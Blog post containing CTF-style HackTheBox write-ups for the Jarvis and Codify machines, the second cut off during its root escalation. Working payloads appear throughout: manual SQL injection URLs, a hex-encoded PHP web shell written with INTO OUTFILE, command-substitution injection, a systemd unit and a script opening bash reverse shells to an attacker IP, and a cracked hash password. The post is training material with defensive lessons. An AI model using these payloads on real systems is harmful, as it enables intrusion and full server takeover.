<p>As always, I began with an <code>nmap</code> scan to establish the initial attack surface. The scan revealed three open ports:</p>
<ul>
<li><p><strong>22/tcp</strong> – SSH</p>
</li>
<li><p><strong>80/tcp</strong> – HTTP</p>
</li>
<li><p><strong>64999/tcp</strong> – HTTP</p>
</li>
</ul>
<p>At that point, the decision of where to focus first was straightforward. SSH usually becomes relevant only after credentials or key material are found, while web applications often expose the broadest and most immediate attack surface. Because of that, I chose to begin with the two web services on ports <strong>80</strong> and <strong>64999</strong>.</p>
<p>To get a quick sense of what each application exposed, I used a combination of manual browsing and <strong>directory enumeration with ffuf</strong>.</p>
<p>The web service on <strong>port 64999</strong> turned out to be uninteresting. Instead of exposing real application functionality, it responded with a simple message stating that I had been banned for 90 seconds. That immediately suggested some kind of rate-limiting or defensive control, but there was no real content or meaningful functionality there to investigate further. Since there was nothing useful to interact with, I set that port aside and moved my attention to the service on <strong>port 80</strong>.</p>
<p>The web application on port 80 was much more substantial. It appeared to be the landing page for a hotel website, with navigation links for rooms, dining, and booking-related content.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/114b6da0-bc69-402d-8fe8-680931c619ea.png" alt="" style="display:block;margin:0 auto" />

<p>While clicking through the various room types, I noticed something important: the application changed the returned page based on a query string parameter named <code>cod</code>.</p>
<p>The URL looked like this:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2d522f18-9d74-4710-9af6-e43bd0f936b2.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">http://10.129.229.137/room.php?cod=1
</code></pre>
<p>That parameter immediately stood out. Whenever I see a numeric parameter like that deciding which content gets loaded, one of the first questions I ask myself is whether the value is being used in a backend database query. If it is, that makes it a prime candidate for <strong>SQL injection testing</strong>.</p>
<p>To test that theory, I supplied a single quote in the parameter and observed the application’s behavior. Instead of returning the normal room information, the page broke and returned an error-like response with no meaningful room data. That is a classic early indicator that user input is likely being inserted into a SQL query without being handled safely.</p>
<p>At this stage, I had not proven the full extent of the vulnerability yet, but I had enough to justify deeper testing. The application behavior strongly suggested that the <code>cod</code> parameter was injectable, so I moved into exploitation with the goal of confirming SQL injection and seeing how far I could push it.</p>
<hr />
<h1>3. <strong>Exploitation Phase</strong></h1>
<h3><strong>Confirming and Working Through the SQL Injection</strong></h3>
<p>After seeing the application break when I supplied a single quote, my next instinct was to hand the parameter off to <code>sqlmap</code> and let it do the heavy lifting. That is usually the sensible move because <code>sqlmap</code> can save a lot of time when a target is straightforward. In this case, though, it failed almost immediately and returned <strong>404 errors</strong> rather than useful enumeration results.</p>
<p>Instead of assuming the tool was wrong, I checked the application manually in the browser. When I revisited the page, I was no longer seeing the normal hotel content. Instead, I got a page telling me that I had been <strong>blocked for 90 seconds</strong>. That explained the sqlmap failure right away. The target had some kind of filtering or lightweight WAF behavior that was detecting repeated or suspicious requests and temporarily blocking them.</p>
<p>That changed the situation in an important way. At that point, the problem was no longer simply “is there SQL injection?” It became:</p>
<blockquote>
<p>“Can I exploit this SQL injection manually in a way that stays below whatever filtering is blocking automation?”</p>
</blockquote>
<p>This ended up being one of the most valuable parts of the box for me. Once the tool stopped working, I had to understand the vulnerability well enough to exploit it by hand.</p>
<h3><strong>Determining the Number of Columns</strong></h3>
<p>When using a SQLi approach manually, one of the first things I needed to know was how many columns were present in the original query. Without that, I would not be able to craft a valid payload so to do this I used UNION SELECT statements.</p>
<p>To work that out, I intentionally set the parameter to a value that did not correspond to a real room. If the original query returned no real application data, it would be easier to spot when my injected union started producing valid output.</p>
<p>From there, I gradually added columns to the <code>UNION SELECT</code> statement until the page rendered successfully. The working payload was:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
</code></pre>
<p>That told me the backend query used <strong>7 columns</strong>.</p>
<p>Once I had that number, I could begin using those positions to retrieve useful information from the database.</p>
<h2><strong>Identifying the Database Backend</strong></h2>
<p>With a valid seven-column union in hand, the next question was what type of database I was dealing with. That matters because the available functions, syntax, and file interaction capabilities can vary depending on the backend.</p>
<p>To answer that, I replaced one of the visible positions with <code>@@version</code>:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
</code></pre>
<p>The application returned version information indicating that the backend was <strong>MySQL/MariaDB</strong>.</p>
<p>That was an important result because once I knew I was dealing with MySQL/MariaDB, I could start thinking about file-related functionality such as <code>load_file()</code> and file write capabilities. At that point, my mindset shifted from simply proving SQL injection to asking a more useful question:</p>
<blockquote>
<p>“Can this database access help me get remote code execution on the web server?”</p>
</blockquote>
<h3><strong>Checking for File Write Privileges</strong></h3>
<p>For a SQL injection to become code execution in this sort of scenario, I needed some way to place a server-side script somewhere the web application could execute it. On MySQL/MariaDB, that often depends on whether the database user has the <strong>FILE</strong> privilege.</p>
<p>To check that, I used the following payload:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
</code></pre>
<p>The query returned:</p>
<pre><code class="language-bash">Y
</code></pre>
<p>A result of <code>Y</code> meant the database user had file privileges enabled. In practical terms, that meant I had a realistic path to writing a file onto disk.</p>
<p>This was another major learning moment for me on the box. It forced me to think beyond the usual “extract database contents” mindset. If the database can write to disk, and I can determine the web root, then I may be able to plant a PHP file and use the web server itself to execute commands.</p>
<h3><strong>Verifying File Read Access and Discovering the Web Root</strong></h3>
<p>Before writing anything, I needed to answer another critical question:</p>
<blockquote>
<p>“Where exactly do I need to write the file so I can reach it through the browser?”</p>
</blockquote>
<p>To solve that, I first tested whether I could read files from the host at all. A good file to test with is <code>/etc/passwd</code>, since it almost always exists on Linux systems and is readable.</p>
<p>I used:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
</code></pre>
<p>The contents were successfully returned, which confirmed that file reads were possible.</p>
<p>Once I knew that worked, I needed to identify the correct web directory. Rather than guessing blindly, I looked at the page source and the files being loaded by the application. One of the referenced files was a CSS file, which gave me a strong candidate path to test. I used:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/var/www/html/css/style.css'),6,7;--
</code></pre>
<p>That request successfully returned the stylesheet content. At that point, I had effectively confirmed that the web application lived under:</p>
<pre><code class="language-bash">/var/www/html
</code></pre>
<p>Now I had everything I needed for the next stage:</p>
<ul>
<li><p>A confirmed SQL injection</p>
</li>
<li><p>A MySQL/MariaDB backend</p>
</li>
<li><p>File read capability</p>
</li>
<li><p>File write privilege</p>
</li>
<li><p>The likely web root</p>
</li>
</ul>
<p>That is the exact combination needed to attempt a web shell.</p>
<h3><strong>Writing a PHP Web Shell with SQL Injection</strong></h3>
<p>With the path confirmed, the next goal was to write a file that the web server would interpret as PHP.</p>
<p>I chose a very simple PHP web shell:</p>
<pre><code class="language-php">&lt;?php system($_GET['cmd']); ?&gt;
</code></pre>
<p>Because I planned to inject this through SQL, I converted the payload into hex first. Encoding it this way makes it easier to include safely inside the query without running into quoting issues.</p>
<p>I generated the hex with:</p>
<pre><code class="language-bash">echo '&lt;?php system($_GET['cmd']); ?&gt;' | xxd -p | tr -d '\n'
</code></pre>
<p>Which produced:</p>
<pre><code class="language-bash">3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a
</code></pre>
<p>With that prepared, I used SQL syntax to write the file into the web root:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
</code></pre>
<p>The logic here is worth spelling out clearly. I was abusing the database’s ability to write a file to disk and placing a PHP script directly into a directory served by Apache. If that succeeded, then requesting the file through the browser would cause the web server to execute the PHP and allow me to pass system commands through the <code>cmd</code> parameter.</p>
<h3><strong>Turning the Web Shell into Remote Code Execution</strong></h3>
<p>To verify that the file had been written successfully and that the server was executing it, I browsed to:</p>
<pre><code class="language-bash">http://10.129.229.137/neo.php?cmd=id
</code></pre>
<p>The command executed successfully.</p>
<p>That was the moment the attack moved from SQL injection to full <strong>remote code execution</strong>. I was no longer limited to interacting with the database through the vulnerable parameter. I now had a server-side command execution primitive through the PHP web shell.</p>
<p>From there, I replaced the test command with a bash reverse shell payload, sent the request through Burp, and caught the callback on my listener.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ce0c882d-9c4d-46c2-8bae-4529d3f27b00.png" alt="" style="display:block;margin:0 auto" />

<p>That gave me an initial shell as:</p>
<pre><code class="language-bash">www-data
</code></pre>
<p>Once connected, I upgraded the shell to a more usable interactive TTY so that local enumeration and privilege escalation would be easier to manage.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3cc4cd11-e3c8-4b1a-aee8-84a67eb3a54b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/92b93b6e-2efd-46ae-ae35-b9acd79f1fd7.png" alt="" style="display:block;margin:0 auto" />

<p>At that point, the web exploitation phase was complete. I had gone from a single injectable URL parameter to code execution on the Linux host. The next objective was to move from the web server context to a more privileged user.</p>
<hr />
<h1>4. <strong>Privilege Escalation</strong></h1>
<h3><strong>Escalating from www-data to pepper</strong></h3>
<p>Once I had an interactive shell as <code>www-data</code>, the first thing I needed to determine was whether this low-privileged service account had any special local rights that could be abused. On Linux, one of the quickest and most valuable checks in that situation is to inspect <strong>sudo permissions</strong>, because misconfigured sudo rules often provide a direct path to another user or even to root.</p>
<p>So I ran:</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<p>The reason for this check is simple: <code>sudo -l</code> tells me what commands the current user is allowed to run via sudo and under which user context those commands execute. If a low-privileged account can run a script or binary as another user without a password, that immediately becomes a strong privilege escalation candidate.</p>
<p>In this case, the output showed that <code>www-data</code> could run the following Python script as the user <strong>pepper</strong> with <strong>NOPASSWD</strong>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1311719-aec9-4878-ad46-a37ae6b3b91f.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">/var/www/Admin-Utilities/simpler.py
</code></pre>
<p>That result gave me a clear next objective:</p>
<blockquote>
<p>“Figure out what this script does, how it handles input, and whether I can abuse it to execute commands as pepper.”</p>
</blockquote>
<p>When I reviewed the script, I found the core issue quickly. The script accepted user input that was supposed to represent an IP address, performed some blacklist-style filtering, and then passed the input into a system call:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d5f2c085-c324-40f6-bdd3-ef696421cafc.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-python">os.system('ping ' + command)
</code></pre>
<p>That is the real vulnerability. The danger is not simply that the script runs <code>ping</code>. The danger is that it builds a shell command using unsafely handled user input and then executes that string through <code>os.system()</code>. Once input is evaluated by a shell, all of the shell’s parsing rules come into play.</p>
<p>The script’s author had attempted to block dangerous characters such as <code>&amp;</code>, <code>;</code>, and similar metacharacters. But blacklist filtering is weak by nature because it usually only blocks the payloads the developer thought of. Attackers only need one syntax path that was missed.</p>
<p>In this case, the script did not account for <strong>command substitution</strong>, which uses the syntax:</p>
<pre><code class="language-bash">$(command)
</code></pre>
<p>That matters because the shell evaluates the contents of <code>$(...)</code> before finishing the rest of the command. So even if obvious separators like <code>;</code> are blocked, command substitution may still result in arbitrary execution.</p>
<p>To test that, I ran the script as pepper and supplied:</p>
<pre><code class="language-bash">$(/bin/bash)
</code></pre>
<p>The command looked like this:</p>
<pre><code class="language-bash">sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
</code></pre>
<p>When the script prompted for an IP, I entered:</p>
<pre><code class="language-bash">$(/bin/bash)
</code></pre>
<p>This worked because the shell interpreted the substitution before carrying out the intended <code>ping</code> command. As a result, I obtained a shell as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5ab51956-f37f-4714-94aa-eb50d82088f2.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">pepper
</code></pre>
<p>That completed the first privilege escalation step. I had moved from the low-privileged web account <code>www-data</code> to a real local user account, which significantly expanded the chances of reaching root.</p>
<h3><strong>Escalating from pepper to root</strong></h3>
<p>Now that I had a shell as <code>pepper</code>, the next goal was to identify any local privilege escalation path that would elevate me to root. On Linux, one of the most reliable first checks is to enumerate <strong>SUID binaries</strong>.</p>
<p>SUID stands for Set User ID. When a binary has the SUID bit set and is owned by root, it executes with root’s privileges regardless of which user launched it. That is not automatically vulnerable, but it does mean every SUID binary deserves close attention. If it can be manipulated in an unsafe way, it can become a direct path to full compromise.</p>
<p>To enumerate SUID binaries, I ran:</p>
<pre><code class="language-bash">find / -type f -perm -4000 2&gt;/dev/null
</code></pre>
<p>This command searches the filesystem for files with the SUID bit enabled while suppressing permission-denied noise. Most of the returned results were standard and expected. But one entry stood out immediately:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b6a3aa8f-2d90-4358-8360-9b5f9781785d.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">/bin/systemctl
</code></pre>
<p>That is unusual.</p>
<p>The reason this caught my attention right away is that <code>systemctl</code> is a powerful administrative tool used to manage services. Seeing it configured as SUID is a major red flag because service management is closely tied to root-level control of the system. If an unprivileged user can influence systemd service behavior through a SUID <code>systemctl</code>, there is a strong chance they can turn that into arbitrary command execution as root.</p>
<p>At that point, my reasoning became:</p>
<blockquote>
<p>“This is not a standard SUID binary. Before trying random things, check whether there is already a known abuse path for it.”</p>
</blockquote>
<p>For that, I referenced <strong>GTFOBins</strong>, which is one of the best resources for understanding how legitimate binaries can be abused in privilege escalation scenarios. GTFOBins confirmed that <code>systemctl</code> can indeed be leveraged to gain code execution as root when misconfigured this way.</p>
<p>The abuse path was clear: create a malicious service unit whose <code>ExecStart</code> launches a reverse shell, then use <code>systemctl</code> to link and start that service. If the SUID configuration causes <code>systemctl</code> to operate with elevated privileges, the service will run as root.</p>
<p>So I created the following service file in my home directory:</p>
<pre><code class="language-ini">[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i &gt;&amp; /dev/tcp/10.10.15.205/9001 0&gt;&amp;1"
[Install]
WantedBy=multi-user.target
</code></pre>
<p>There are two important ideas here:</p>
<ol>
<li><p>The <code>ExecStart</code> line is what matters most. That is the command systemd will execute when the service runs.</p>
</li>
<li><p>Because the service is being managed through a SUID <code>systemctl</code>, the expectation is that it will be started with root’s privileges.</p>
</li>
</ol>
<p>After creating the service file, I linked and started it with:</p>
<pre><code class="language-bash">systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
</code></pre>
<p>On my attacking machine, I had a listener waiting for the reverse shell. As soon as the service started, the target connected back, and I landed in a shell as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6542cffc-19ea-452e-b70e-bcbd47e798d0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">root
</code></pre>
<p>That completed the final privilege escalation step. From initial web access as <code>www-data</code>, I had moved to <code>pepper</code>, and from there to full root compromise through a misconfigured SUID <code>systemctl</code>.</p>
<hr />
<h1>5. <strong>Lessons Learned</strong></h1>
<h3><strong>1. Automation is useful, but it is not understanding</strong></h3>
<p>This machine drove home a point I already knew intellectually but had not fully felt until here: tools are only as useful as the operator behind them. My first instinct was to point <code>sqlmap</code> at the target and let it do the work. The moment the filtering interfered with that, I had to fall back on my own understanding of how SQL injection works. That forced me to think through column counts, union-based extraction, version identification, file reads, and file writes step by step.</p>
<p>That is exactly the kind of experience that builds real skill. On a box like this, understanding the vulnerability was far more valuable than knowing the right sqlmap flags.</p>
<h3><strong>2. A weak defensive control can still change the attacker’s workflow</strong></h3>
<p>The target’s blocking behavior did not actually stop exploitation, but it did disrupt the easiest path. That is worth noting because even an imperfect defensive measure can slow an attacker down or force them into a noisier or more manual workflow.</p>
<p>The filter here was not strong enough to prevent exploitation, but it was strong enough to push me out of automation and into patient manual testing. That alone changed the shape of the engagement.</p>
<h3><strong>3. SQL injection should always be evaluated for impact beyond data theft</strong></h3>
<p>It is easy to think of SQL injection in terms of dumping tables, stealing hashes, or extracting application data. Jarvis was a good reminder that the impact can be much worse when the database account has additional privileges. Once I confirmed that the backend had file write privileges, the vulnerability stopped being just a database issue and became a path to full server-side code execution.</p>
<p>That is a much more serious outcome, and it is exactly why every SQL injection should be evaluated not just for disclosure, but for escalation potential.</p>
<h3><strong>4. Blacklist filtering is a bad habit</strong></h3>
<p>The Python script used a blacklist to try to prevent command injection, but blacklist approaches are fragile by design. They depend on the developer predicting every dangerous input pattern ahead of time. Attackers do not need every dangerous pattern to work. They only need one.</p>
<p>In this case, the filter missed command substitution, and that single oversight was enough to turn a helper script into a privilege escalation path. This is a perfect example of why input should be handled safely by design rather than “sanitized” through guesswork.</p>
<h3><strong>5. Unusual SUID binaries should always be treated as suspicious</strong></h3>
<p>When I enumerated SUID files, <code>systemctl</code> stood out immediately because it simply does not belong there in a safe configuration. That kind of anomaly is exactly what local privilege escalation often hinges on. A good reminder here is that privilege escalation is not always about finding some exotic exploit. Sometimes it is just about recognizing that a powerful administrative binary has been given the wrong permissions.</p>
<p>That kind of misconfiguration is quiet, simple, and devastating.</p>
<hr />
<h1>6. <strong>Defensive Insight</strong></h1>
<h3><strong>1. Parameterized queries would have stopped the initial compromise</strong></h3>
<p>The entire attack chain began because user-supplied input was not handled safely in a SQL query. If the application had used prepared statements with proper parameterization, the SQL injection would not have existed in the first place. That single development decision would have cut off the entire path before it started.</p>
<h3><strong>2. Database accounts should follow least privilege</strong></h3>
<p>Even after the injection existed, the damage became much worse because the database user had the <strong>FILE</strong> privilege. That is not something a typical web application account should have unless there is a very specific and well-justified operational need. Restricting that privilege would not have fixed the injection, but it would have greatly reduced the impact by removing the path to web shell placement.</p>
<h3><strong>3. Temporary blocking is not the same as robust protection</strong></h3>
<p>The filtering on the target interfered with automation, but it did not actually protect the application from a patient manual attacker. That is an important distinction. Security controls that only disrupt tooling but do not address the underlying flaw can create a false sense of safety. The real fix is not to make exploitation slightly more annoying. The real fix is to remove the vulnerability itself.</p>
<h3><strong>4. Shelling out with user input is dangerous</strong></h3>
<p>The privilege escalation path from <code>www-data</code> to <code>pepper</code> existed because the Python script passed user-controlled input into <code>os.system()</code>. That practice is fundamentally risky. If a program must execute another process, it should do so using safer APIs that avoid shell interpretation and treat arguments as structured data rather than as a command string.</p>
<p>The difference between secure execution and shell evaluation is often the difference between normal functionality and full compromise.</p>
<h3><strong>5. SUID permissions should be audited carefully</strong></h3>
<p>The final escalation to root was only possible because <code>systemctl</code> had been given SUID permissions. That should never survive a competent security review. SUID binaries deserve periodic auditing specifically because a single bad entry in that list can be enough to hand an attacker full root access.</p>
<p>Routine permission reviews and baseline comparisons would make this sort of misconfiguration far easier to catch before deployment.</p>
<hr />
<h1><strong>Useful Commands</strong></h1>
<h3><strong>Directory Enumeration Against the Web Servers</strong></h3>
<pre><code class="language-bash">ffuf -u http://10.129.229.137/FUZZ -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p>This helped me quickly identify whether the web application exposed any useful files or directories beyond the default landing pages.</p>
<h3><strong>Manual SQLi Column Count Test</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
</code></pre>
<p>I used this to determine that the vulnerable query expected <strong>7 columns</strong>, which was necessary before moving on to more meaningful <code>UNION SELECT</code> payloads.</p>
<h3><strong>Database Version Identification</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
</code></pre>
<p>This confirmed the backend was <strong>MySQL/MariaDB</strong>, which shaped the rest of the exploitation strategy.</p>
<h3><strong>Checking Database File Privileges</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
</code></pre>
<p>This told me whether the database account could write files to disk. A result of <code>Y</code> meant that writing a web shell was possible.</p>
<h3><strong>Reading Files Through SQLi</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
</code></pre>
<p>I used <code>load_file()</code> first to confirm file read access and later to validate the correct web root by reading known web assets.</p>
<h3><strong>Hex-Encoding the PHP Web Shell</strong></h3>
<pre><code class="language-bash">echo '&lt;?php system($_GET['cmd']); ?&gt;' | xxd -p | tr -d '\n'
</code></pre>
<p>This converted the PHP payload into a format that was easier to place into the SQL write query.</p>
<h3><strong>Writing the PHP Shell to the Web Root</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
</code></pre>
<p>This was the step that turned SQL injection into remote code execution by placing a PHP shell inside the web root.</p>
<h3><strong>Testing Command Execution</strong></h3>
<pre><code class="language-bash">http://10.129.229.137/neo.php?cmd=id
</code></pre>
<p>This verified that the file had been written correctly and that the web server was executing the PHP shell.</p>
<h3><strong>Enumerating SUID Binaries</strong></h3>
<pre><code class="language-bash">find / -type f -perm -4000 2&gt;/dev/null
</code></pre>
<p>This identified SUID binaries available to <code>pepper</code> and revealed the unusual and highly exploitable <code>systemctl</code> entry.</p>
<h3><strong>Linking and Starting the Malicious Service</strong></h3>
<pre><code class="language-bash">systemctl link /home/pepper/neo.service
systemctl enable --now /home/pepper/neo.service
</code></pre>
<p>These commands caused the malicious service file to be recognized and started, resulting in a root shell.</p>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #21 
HTB Write-Up Codify]]></title><description><![CDATA[1. Target Overview

Machine Name: Codify

Platform: HackTheBox

Operating System: Linux

Target IP: 10.129.15.49

Objective: Gain user and root access


Codify was a well-rounded machine that started ]]></description><link>https://www.hack2harden.com/oscp-prep-21-htb-write-up-codify</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-21-htb-write-up-codify</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Mon, 06 Apr 2026 08:42:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ad42182c-47f2-4808-b018-0a4c8b8a92a8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>1. Target Overview</strong></h1>
<ul>
<li><p><strong>Machine Name:</strong> Codify</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.15.49</p>
</li>
<li><p><strong>Objective:</strong> Gain user and root access</p>
</li>
</ul>
<p>Codify was a well-rounded machine that started off with a fairly straightforward web application exploit that quickly led to remote code execution. While the initial foothold came easily, the real value of this box came from the privilege escalation phase, which revolved around a subtle but very realistic Bash scripting mistake involving unquoted variables.</p>
<h3><strong>Tools Used</strong></h3>
<ul>
<li><p>RustScan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>FFUF</p>
</li>
<li><p>Searchsploit</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Pspy</p>
</li>
<li><p>Python HTTP Server</p>
</li>
<li><p>Bash</p>
</li>
</ul>
<hr />
<h1><strong>2. Enumeration</strong></h1>
<h3><strong>Nmap Scan</strong></h3>
<pre><code class="language-bash">rustscan -a 10.129.15.49 -b 7000
</code></pre>
<p>As always, I started with a port scan to understand the attack surface. The results showed three open ports: SSH on 22, an Apache web server on port 80, and another web service running on port 3000 backed by Node.js Express.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/918e6476-36b7-4d95-a079-85ffec1087fe.png" alt="" style="display:block;margin:0 auto" />

<p>One thing that immediately stood out was a redirect to <code>http://codify.htb</code>. That told me I needed to add the domain to my <code>/etc/hosts</code> file before continuing. From there, I made a conscious decision to focus on the web applications first since they typically provide the largest attack surface, while keeping SSH in mind in case credentials surfaced later.</p>
<hr />
<h3><strong>Web Enumeration</strong></h3>
<p>I began by checking for additional subdomains since the application was already using a virtual host.</p>
<pre><code class="language-bash">ffuf -u http://10.129.15.49 -H "Host: FUZZ.codify.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 20
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a25e856c-56ee-47d4-894b-8c632607b052.png" alt="" style="display:block;margin:0 auto" />

<p>This didn’t return anything useful, so I moved on to directory brute forcing:</p>
<pre><code class="language-bash">ffuf -u http://codify.htb/FUZZ -w /usr/share/wordlists/elite.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e7bc8552-605c-4606-867d-30180d35ab34.png" alt="" style="display:block;margin:0 auto" />

<p>While this was running in the background, I manually browsed the application on port 80. The main page presented a Node.js code execution interface where users could input and run JavaScript. That immediately stood out—any system that executes user input, even in a “sandbox,” deserves a closer look.</p>
<p>Clicking into the <code>/about</code> page turned out to be the key step here. It revealed that the application used the <strong>vm2 library version 3.9.16</strong> for sandboxing. That was a huge find and shifted my focus toward researching that specific component.</p>
<hr />
<h1><strong>3. Exploitation</strong></h1>
<h3><strong>Web Application Analysis</strong></h3>
<p>With the vm2 version disclosed, I used <code>searchsploit</code> to check for known vulnerabilities:</p>
<pre><code class="language-bash">searchsploit vm2
searchsploit -x 51898.c
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/383e2e38-6fd6-458e-bae9-ce45aae383c2.png" alt="" style="display:block;margin:0 auto" />

<p>I found a sandbox escape affecting the exact version in use. The exploit abused allowed functionality within vm2 to break out of the sandbox and execute system commands.</p>
<p>To verify execution, I tested a simple command:</p>
<pre><code class="language-bash">pwd
</code></pre>
<p>The output returned <code>/home/svc</code>, confirming that I had achieved remote code execution.</p>
<hr />
<h2><strong>Foothold</strong></h2>
<p>Once I confirmed RCE, I moved to establish a reverse shell. I hosted a payload on my machine:</p>
<pre><code class="language-bash">echo 'bash -i &gt;&amp; /dev/tcp/10.10.15.205/7777 0&gt;&amp;1' &gt; shell.sh
python3 -m http.server 80
</code></pre>
<p>Then set up a listener:</p>
<pre><code class="language-bash">nc -nvlp 7777
</code></pre>
<p>After triggering the payload through the web interface,</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ff0e1487-b2a8-4cae-8256-f0848c2e6011.png" alt="" style="display:block;margin:0 auto" />

<p>I received a shell as the <code>svc</code> user. I upgraded it immediately to make it interactive:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a882cf07-3afd-4c3f-9e09-0c57acaaa92a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
</code></pre>
<hr />
<h1><strong>4. Privilege Escalation</strong></h1>
<h3><strong>Initial Enumeration</strong></h3>
<p>I began with basic checks:</p>
<pre><code class="language-bash">whoami
sudo -l
</code></pre>
<p>There were no sudo privileges for <code>svc</code>, so I looked for other users on the system:</p>
<pre><code class="language-bash">grep "sh$" /etc/passwd
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/65e180bc-438c-45c6-95ee-fb5c5fd1d933.png" alt="" style="display:block;margin:0 auto" />

<p>I identified <code>joshua</code> and <code>root</code>, which suggested that lateral movement would likely be required.</p>
<hr />
<h3><strong>Finding Credentials</strong></h3>
<p>Following my checklist, I explored the web directory:</p>
<pre><code class="language-bash">cd /var/www/
</code></pre>
<p>I searched for files that might contain credentials:</p>
<pre><code class="language-bash">find . -type f -name "*.db" 2&gt;/dev/null
find . -type f -name "*conf*" 2&gt;/dev/null
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9cab69dd-b4d5-4941-871d-42d82f38ce14.png" alt="" style="display:block;margin:0 auto" />

<p>This led me to <code>/var/www/contact/tickets.db</code>, which contained a bcrypt hash for the <code>joshua</code> user.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4fb08225-04f5-4af6-8cde-cb0ac249a034.png" alt="" style="display:block;margin:0 auto" />

<p>I cracked the hash using John:</p>
<pre><code class="language-bash">john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
</code></pre>
<p>The password was <code>spongebob1</code>. I tested it against SSH:</p>
<pre><code class="language-bash">ssh joshua@codify.htb
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a611e224-f691-4c55-8e5a-b358bfff00fa.png" alt="" style="display:block;margin:0 auto" />

<p>The login succeeded, confirming password reuse.</p>
<hr />
<h3><strong>Privilege Escalation Vector</strong></h3>
<p>Once logged in as <code>joshua</code>, I checked sudo permissions:</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<p>I discovered that I could run <code>/opt/scripts/mysql-backup.sh</code> as root. This immediately stood out as a potential escalation path, so I examined the script closely.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6a895eb7-d7ea-4854-b536-db407966cb20.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3><strong>Root Exploit</strong></h3>
<p>The script contained a flawed password check:</p>
<pre><code class="language-bash">if [[ \(DB_PASS == \)USER_PASS ]]
</code></pre>
<p>Because the variables were not quoted, Bash interpreted the comparison as pattern matching rather than a strict equality check. This allowed me to bypass authentication by entering:</p>
<pre><code class="language-bash">*
</code></pre>
